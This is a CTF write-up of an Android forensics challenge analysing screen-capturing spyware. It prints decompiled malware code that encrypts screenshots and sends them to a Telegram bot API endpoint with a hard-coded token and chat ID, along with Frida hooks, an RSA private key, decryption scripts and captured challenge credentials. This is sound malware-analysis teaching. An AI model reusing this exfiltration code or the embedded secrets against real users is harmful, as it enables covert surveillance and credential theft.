---
# System prepended metadata

title: ITSEC Summit CTF 2025 Quals – HMICast Writeup
tags: [Android Analysis, DFIR, Frida]

---

# ITSEC Summit CTF 2025 Quals – HMICast Writeup

I recently participated in the ITSEC Summit CTF 2025 with my team, **frontshots**, and we managed to secure 9th place before final scoreboard freeze. I'm usually a rev player so it was a fun change of pace to solve this hard difficulty forensics challenge (although idk if that's accurate lmao).

![image](https://hackmd.io/_uploads/BJLD2Iydgg.png)


## Challenge Overview
### Description
:::info

Several important data has been acquired from an employee's device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed.

Attachment: https://drive.google.com/file/d/1w22r2EQCgCOQmM-GhsdvT5jc1tfHePZ4/view?usp=sharing

Password: vJcCvAN7TZIJn9dQ

Notes: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge.

Author: BlackBear
:::

 We are given a file system dump from an Android device (`/data/data` and `/data/app`). The primary objective is to answer a series of 10 questions that guide the analysis. This involves reverse engineering a malicous app, identifying its C2 infrastructure, and recovering stolen credentials. 

## Writeup

### Is the phone rooted?
:::spoiler Answer
`yes`
:::

Because we are given the `/data/data` and `/data/app` directories,  this suggests that **yes** the device is either rooted or was dumped using a privileged method. Normally, app-specific directories under `/data/data` are protected by Android's sandboxing and SELinux policies, and cannot be accessed without having root.


### What is the malicous package name?
:::spoiler Answer
`com.itsec.android.hmi`
:::

To identify the malicious package, I began by exploring the contents of the data directory. I listed all directories under `/data/data` using `tree`. This revealed a package with a suspicious-looking name:

```
├─~~t4gZvUr4eEizq9YXxE6PVQ==
│  └─com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw==
│      ├─lib
│      │  └─arm
│      └─oat
│          └─arm
```
### What is the download link of the malicious package?

:::spoiler Answer
`https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8`
:::

To trace how the malicious package was downloaded, I examined user browsing behavior. A good starting point was to inspect the Chrome browser history, as Chrome is a commonly used app for downloads.

First, I observed that the Chrome-related folder (`com.android.chrome`) was one of the largest in `/data/data/`. Within this folder, the browsing history is typically stored in an SQLite database located at: `/data/data/com.android.chrome/app_chrome/Default/History`.


I opened the database using [SQLite Viewer](https://inloop.github.io/sqlite-viewer/). Upon inspection of the `urls` table, I found several `MEGA.nz` links.



| id  | url                                       | title                         |
|-----|--------------------------------------------|-------------------------------|
| ... | ...                                       | ...                           |
| 8   | `http://mega.nz/fm/KFlyWZgS `               | MEGA: Protect your Online Privacy         |
| 9   | `https://mega.nz/`                          |MEGA: Protect your Online Privacy         |
| 10  | `https://mega.io/`                          | MEGA: Protect your Online Privacy         |
| 11  | `https://mega.nz/file/uddABYRD#c..`      |                 |
| ... | ...                                       | ...                           |

One entry stood out as a direct file download link which is the one with the ID of 11


### What is the Android API that attacker use to capture victim's screen?
:::spoiler Answer
`android.media.projection.MediaProjectionManager`
:::
I started by decompiling the malicious APK file using **JADX**. Within the decompiled code, I navigated to the class named `ScreenCaptureService`. This class contained logic related to screen capturing activity on the device. Here are the imports:

```java
package com.itsec.android.hmi;

import I0.c;
import W0.f;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.drawable.Icon;
import android.hardware.display.VirtualDisplay;
import android.media.ImageReader;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
// ...
```

The presence of both MediaProjection and MediaProjectionManager means that the attacker used [Android’s MediaProjection API](https://developer.android.com/reference/android/media/projection/MediaProjectionManager) to start a screen capture session, abusing it to monitor the victim’s activity.

### What is the secretkey for image encryption process?
:::spoiler Answer
`dPGgF7tQlBaGqqmj`
:::

To find the secret key used to encrypt the screenshots, I examined the decompilation again. I found that inside the package `I0`, there is a class named `a`, which is responsible for encrypting image data using AES-CBC.
From the class definition and static fields, I observed the following:

> Decompilation is slightly modified 

```java=
public abstract class a {


    public static final String AESType = CryptoService$stringfromnative.f1878a.getAES();
    public static final String SecretKey = "lBaGqqmj";

    public static final String SecretBase64 = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M=";

    public static final byte[] f395d;

    static {
        byte[] bytes = "Cj7pYMR6FqYFKRYi".getBytes(c1.a.f1544a);
        f.e(bytes, "this as java.lang.String).getBytes(charset)");
        f395d = bytes;
    }

    public static byte[] a(byte[] bArr) {
        byte[] bArr2;
        CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a;
        String rSAKey = cryptoService$stringfromnative.getRSAKey();
        String str = SecretBase64;
        f.f(str, "base64Encrypted");
        f.f(rSAKey, "privateKeyPEM");
        String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", "");
        Pattern compile = Pattern.compile("\\s");
        f.e(compile, "compile(pattern)");
        String replaceAll = compile.matcher(w02).replaceAll("");
        f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)");
        PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll)));
        f.e(generatePrivate, "generatePrivate(...)");
        Cipher instance = Cipher.getInstance(cryptoService$stringfromnative.getRSA());
        instance.init(2, generatePrivate);
        byte[] doFinal = instance.doFinal(Base64.getDecoder().decode(str));
        f.c(doFinal);
        Charset charset = c1.a.f1544a;
        String FinalSecretKey = new String(doFinal, charset) + SecretKey;
        Cipher instance2 = Cipher.getInstance(AESType);
        if (FinalSecretKey != null) {
            bArr2 = FinalSecretKey.getBytes(charset);
            f.e(bArr2, "this as java.lang.String).getBytes(charset)");
        } else {
            bArr2 = null;
        }
        instance2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d));
        byte[] doFinal2 = instance2.doFinal(bArr);
        f.e(doFinal2, "doFinal(...)");
        return doFinal2;
    }
}
```

Here’s how the encryption key is constructed:

1. `SecretBase64` contains an RSA-encrypted string.
2. This string is decrypted using a private key (`getRSAKey()`), resulting in a partial AES key.
3. The decrypted value is concatenated with the string `SecretKey = "lBaGqqmj"`.
4. This full string becomes the AES key used to encrypt image data.

So the actual secret key used in the image encryption process is the RSA-decrypted value of `SecretBase64` + ``"lBaGqqmj"``

Because the RSA private key isn’t present in the source (It's in the `native-library.so` file), I used [Frida](https://frida.re/) to hook the runtime method `getRSAKey()` from the `CryptoService$stringfromnative` class. Here is the script that I used.

```javascript=
Java.perform(function() {
    try {
        console.log("[*] Setting up Java-level hooks as backup...");
        
        var CryptoService = Java.use("com.itsec.android.hmi.CryptoService$stringfromnative");
        
        // Hook getRSAKey at Java level
        CryptoService.getRSAKey.implementation = function() {
            console.log("[JAVA] getRSAKey() called from Java level");
            var result = this.getRSAKey();
            console.log("[JAVA] getRSAKey() result: " + result);
            return result;
        };
        
        // Hook getAES at Java level
        CryptoService.getAES.implementation = function() {
            console.log("[JAVA] getAES() called from Java level");
            var result = this.getAES();
            console.log("[JAVA] getAES() result: " + result);
            return result;
        };
        
        // Hook getRSA at Java level
        CryptoService.getRSA.implementation = function() {
            console.log("[JAVA] getRSA() called from Java level");
            var result = this.getRSA();
            console.log("[JAVA] getRSA() result: " + result);
            return result;
        };
        
        console.log("[+] Java-level hooks installed successfully");
        
        // Try to call methods manually after a delay
        setTimeout(function() {
            console.log("[*] Attempting to manually trigger crypto methods...");
            try {
                var instance = CryptoService.f1878a;
                if (instance) {
                    console.log("[*] Singleton instance found, calling methods...");
                    
                    try {
                        var rsa = instance.getRSA();
                        console.log("[MANUAL] getRSA(): " + rsa);
                    } catch (e) { console.log("[-] getRSA() failed: " + e); }
                    
                    try {
                        var aes = instance.getAES();
                        console.log("[MANUAL] getAES(): " + aes);
                    } catch (e) { console.log("[-] getAES() failed: " + e); }
                    
                    try {
                        var rsaKey = instance.getRSAKey();
                        console.log("[MANUAL] getRSAKey(): " + rsaKey);
                    } catch (e) { console.log("[-] getRSAKey() failed: " + e); }
                    
                } else {
                    console.log("[-] Singleton instance not initialized yet");
                }
            } catch (e) {
                console.log("[-] Manual trigger failed: " + e);
            }
        }, 3000);
        
    } catch (e) {
        console.log("[-] Error setting up Java hooks: " + e);
    }
});
```

And here is the output:
![image](https://hackmd.io/_uploads/ryohST6vex.png)

Now that we have the RSA private key, it should be trivial enough to decrypt it.
```python=
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from pwn import b64d

suffix = b"lBaGqqmj"
rsa = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
-----END RSA PRIVATE KEY-----
"""

enc = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M="
ciphertext = b64d(enc)
key = RSA.import_key(rsa)
cipher_rsa = PKCS1_v1_5.new(key)
decrypted = cipher_rsa.decrypt(ciphertext, b"error")
print(f'secretkey: {decrypted + suffix}')
```

```
secretkey: b'dPGgF7tQlBaGqqmj'
```

### Where the encrypted image sent to? (application name)
:::spoiler Answer
`Telegram`
:::
After capturing and encrypting a screenshot, the image is uploaded to Telegram using the Bot API. Here's how it works:

It first takes the latest image that is captured and encrypts it using the previous AES-CBC encryption.

```java=
Image acquireLatestImage = imageReader.acquireLatestImage();
...
Bitmap createBitmap = Bitmap.createBitmap(...);
createBitmap.copyPixelsFromBuffer(buffer);
...
createBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
byte[] byteArray = byteArrayOutputStream.toByteArray();
byte[] a2 = a.a(byteArray); // <-- custom encryption we decompiled before
...
FileOutputStream fileOutputStream = new FileOutputStream(new File(file, str));
fileOutputStream.write(a2);
```

After encryption, the file is saved locally in: `/data/data/com.itsec.android.hmi/files/.logs/log_<timestamp>.enc`
And also sent to the Telegram group:

```java=
String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument";
...
arrayList.add(d.r("chat_id", null, new v(..., "-1002300479215".getBytes(...))));
arrayList.add(d.r("document", name, new u(oVar, file2))); // <-- Encrypted image file
...
fVar.j("POST", qVar); // send multipart/form-data
```

### What is the bot API token?
:::spoiler Answer
`8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q`
:::

From the previously answered question, we found the token from the api link (`https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument`)

### What is the bot username?
>

To find the bot's username, we can use the [Telegram Bot API](https://core.telegram.org/bots/api), specifically the `getMe` endpoint which returns User information about the bot. 
Here is the response:

```json
{
  "ok": true,
  "result": {
    "id": 8369776437,
    "is_bot": true,
    "first_name": "gunters-helper",
    "username": "guntershelpsBot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false,
    "can_connect_to_business": false,
    "has_main_web_app": false
  }
}
```
We can see that the bot's username is `guntershelpsbot`.
### What is the group name and invite link?
:::spoiler Answer
Group name: `mycrib`
Invite link: `https://t.me/+RVvaMCn_f7FmZmFl`
:::

After identifying the Telegram bot username from the API, I then tried searching for the bot (`@guntershelpsbot`) on Telegram.![Screenshot](https://hackmd.io/_uploads/HJLUdkRwle.png)
Upon opening the bot's profile, I noticed that it contained a link to a Telegram group.
![Screenshot 2025-08-04 150005](https://hackmd.io/_uploads/BkQhOyRweg.png)
Clicking on the link lead to a group named `mycrib` which appeared to be used as a C2 communication channel by the attacker.



### What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]?
:::spoiler Answer
Username: `operator1337`
Password: `HM1_standin9_Str0nk`
:::


I investigated the encrypted files in the Telegram group that was identified as the C2 channel.
![image](https://hackmd.io/_uploads/HJWG91RPxe.png)
After downloading the encrypted files, I wrote a quick script to decrypt all of the files that were uploaded in that time frame.

```python=
from os import listdir
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

d = "./stuff"
d_res = "./decrypted"
key = b'dPGgF7tQlBaGqqmj'
iv =  b'Cj7pYMR6FqYFKRYi'
files = listdir(d)  # encrypted files directory

for f in files:
    contents = open(d+'/'+f, 'rb').read()
    
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    decr = unpad(cipher.decrypt(contents), AES.block_size)
    with open(d_res + '/dec_' + f + ".png", "wb") as f_out:   
        f_out.write(decr)
```
One screenshot stood out (`dec_log_1753741684068.enc.png`) as it contains the login credentials:

![image](https://hackmd.io/_uploads/H1i17eCPgg.png)

### Flag
After submitting all the answers, the final flag is revealed.
:::spoiler Flag
```ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}```
:::


## Final Thoughts

Overall, I had a great time solving this challenge and I learned a lot from it. Especially since I don't dabble too much on forensics challenges. The reversing parts of this challenge are not too bad (since its not a rev challenge ofc) and I also got to use Frida again after a long time of not doing Android reversing lol.


